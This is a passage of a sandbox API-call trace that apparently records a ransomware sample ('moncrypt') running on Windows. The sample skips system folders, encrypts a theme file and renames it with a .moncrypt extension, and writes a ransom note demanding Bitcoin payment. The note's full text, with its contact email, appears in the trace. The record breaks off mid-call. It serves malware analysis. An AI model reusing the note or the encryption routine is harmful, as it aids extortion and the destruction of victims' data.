(in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0051.470] GetLastError () returned 0x2 [0051.470] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.471] GetLastError () returned 0x2 [0051.471] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0051.471] GetLastError () returned 0x2 [0051.471] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.471] GlobalLock (hMem=0x440004) returned 0x550170 [0051.471] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.471] GlobalUnlock (hMem=0x440004) returned 0 [0051.471] GlobalLock (hMem=0x440004) returned 0x550170 [0051.471] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.471] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.471] GlobalUnlock (hMem=0x440004) returned 0 [0051.471] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.471] GlobalUnlock (hMem=0x44000c) returned 0 [0051.471] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.472] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.472] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.472] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.472] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.472] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.472] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.472] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a158, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.472] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.472] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.472] GlobalUnlock (hMem=0x44000c) returned 0 [0051.472] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.472] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.472] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.473] GlobalUnlock (hMem=0x44000c) returned 0 [0051.473] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.473] GlobalUnlock (hMem=0x440004) returned 0 [0051.473] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.473] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.473] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.473] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.473] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.474] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.474] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.474] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.474] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.474] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\") returned 0x40 [0051.474] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0f8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.474] GlobalLock (hMem=0x440004) returned 0x550170 [0051.474] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.474] GlobalUnlock (hMem=0x440004) returned 0 [0051.474] GlobalLock (hMem=0x440004) returned 0x550170 [0051.474] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.474] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.474] GlobalUnlock (hMem=0x440004) returned 0 [0051.474] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.474] GlobalUnlock (hMem=0x44000c) returned 0 [0051.474] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.474] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.474] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0051.474] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.474] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.474] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.475] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.475] GlobalUnlock (hMem=0x44000c) returned 0 [0051.475] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.475] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.475] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.475] GlobalUnlock (hMem=0x44000c) returned 0 [0051.475] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.475] GlobalUnlock (hMem=0x440004) returned 0 [0051.475] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.477] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.478] CloseHandle (hObject=0x18c) returned 1 [0051.478] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\я")) returned 1 [0051.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 0x54e240 [0051.479] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.479] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.479] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM", dwFileAttributes=0x20) returned 1 [0051.480] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.moncrypt")) returned 1 [0051.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.480] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.480] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x1cf31 [0051.480] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.481] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.483] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.483] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.483] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.483] GlobalUnlock (hMem=0x44000c) returned 0 [0051.483] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.483] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.483] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.483] GlobalUnlock (hMem=0x44000c) returned 0 [0051.483] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.483] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.483] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.483] GlobalUnlock (hMem=0x440004) returned 0 [0051.483] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.483] GlobalUnlock (hMem=0x44000c) returned 0 [0051.484] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.484] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.484] GlobalUnlock (hMem=0x44000c) returned 0 [0051.484] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.484] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.484] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.484] GlobalUnlock (hMem=0x44000c) returned 0 [0051.484] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.484] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.484] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.485] SetFilePointer (in: hFile=0x18c, lDistanceToMove=118577, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x1cf31 [0051.485] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.485] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.485] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.496] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.496] CloseHandle (hObject=0x18c) returned 1 [0051.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.498] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.498] CloseHandle (hObject=0x18c) returned 1 [0051.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.499] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.499] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.499] GlobalUnlock (hMem=0x44000c) returned 0 [0051.499] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.499] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.499] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.499] GlobalUnlock (hMem=0x44000c) returned 0 [0051.499] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.499] GlobalUnlock (hMem=0x440004) returned 0 [0051.499] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a108, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.499] GetLastError () returned 0x2 [0051.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.501] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.502] CloseHandle (hObject=0x18c) returned 1 [0051.503] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, 